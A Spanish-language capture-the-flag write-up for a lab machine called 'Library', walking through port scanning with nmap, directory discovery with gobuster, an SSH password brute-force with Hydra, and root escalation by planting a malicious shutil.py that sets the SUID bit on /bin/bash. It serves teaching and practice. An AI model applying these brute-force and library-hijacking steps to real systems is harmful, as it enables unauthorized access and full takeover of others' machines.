> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/library-write-up.md).

# Library write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/wycyZxnGdRLelTMoCR5M" alt=""><figcaption></figcaption></figure>

## **Realizamos un escaneo de los puertos abiertos de la máquina víctima**

Utilizare la herramienta **Nmap** para realizar un escaneo de puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -O -Pn -n 172.17.0.2
```

<figure><img src="/files/rooPcImbGv8iZpqLwnQw" alt=""><figcaption></figcaption></figure>

Esto indica que el puerto 22 (SSH) y el 80 (HTTP) están abiertos. Así que ponemos la IP de la máquina víctima en el navegador pero no vemos nada, por ello, usamos la herramienta **Gobuster** para buscar rutas con el siguiente comando::

```bash
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,html,php,py
```

<figure><img src="/files/Zbq068saaXLnc7MmU3PC" alt=""><figcaption></figcaption></figure>

Encontramos la ruta `/index.php`, la cual, al abrirla en el navegador, nos revela una posible contraseña (`JIFGHDS87GYDFIGD`).

<figure><img src="/files/774mXvPwhRDvwJps620y" alt=""><figcaption></figcaption></figure>

Ahora utilizaremos la herramienta **Hydra** para hacer un ataque de fuerza bruta e intentar conseguir el usuario del servicio SSH con el siguiente comando:

```bash
hydra -L /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -p JIFGHDS87GYDFIGD -I ssh://172.17.0.2
```

<figure><img src="/files/B0a2Pb5IKfx4MtLi5Hu5" alt=""><figcaption></figcaption></figure>

Esto indica que el usuario `carlos` utiliza la contraseña `JIFGHDS87GYDFIGD`, por lo que ahora iniciamos sesión en el servicio SSH para acceder a la máquina víctima.

## **Escalada de privilegios**

Una vez dentro de la máquina víctima ejecutamos el comando `sudo -l` el cual nos indica que podemos ejecutar como cualquier usuario sin necesidad de contraseña el binario `/usr/bin/python3` y el fichero `/opt/script.py`.

<figure><img src="/files/FeUzYYT3047ARjWceprk" alt=""><figcaption></figcaption></figure>

Al ejecutar un cat del fichero `/opt/script.py` vemos que en el script se está usando una librería llamada `shutil`

<figure><img src="/files/RdUyv4Z1p4GReQt2dLMQ" alt=""><figcaption></figcaption></figure>

Crearemos un nuevo fichero llamado `shutil.py` que contenga el siguiente código, el cual dará permisos SUID al binario Bash:

```python
import os

os.system('chmod u+s /bin/bash')
```

<figure><img src="/files/rkDsNCoMxtLjvd9uLkxK" alt=""><figcaption></figcaption></figure>

Ahora, ejecutamos el fichero `/opt/script.py` de la siguiente manera:

```bash
sudo /usr/bin/python3 /opt/script.py
```

Finalmente, ejecutamos `bash -p` para obtener una shell con privilegios root.

<figure><img src="/files/oRyBVwApnfqeY2edvZDK" alt=""><figcaption></figcaption></figure>
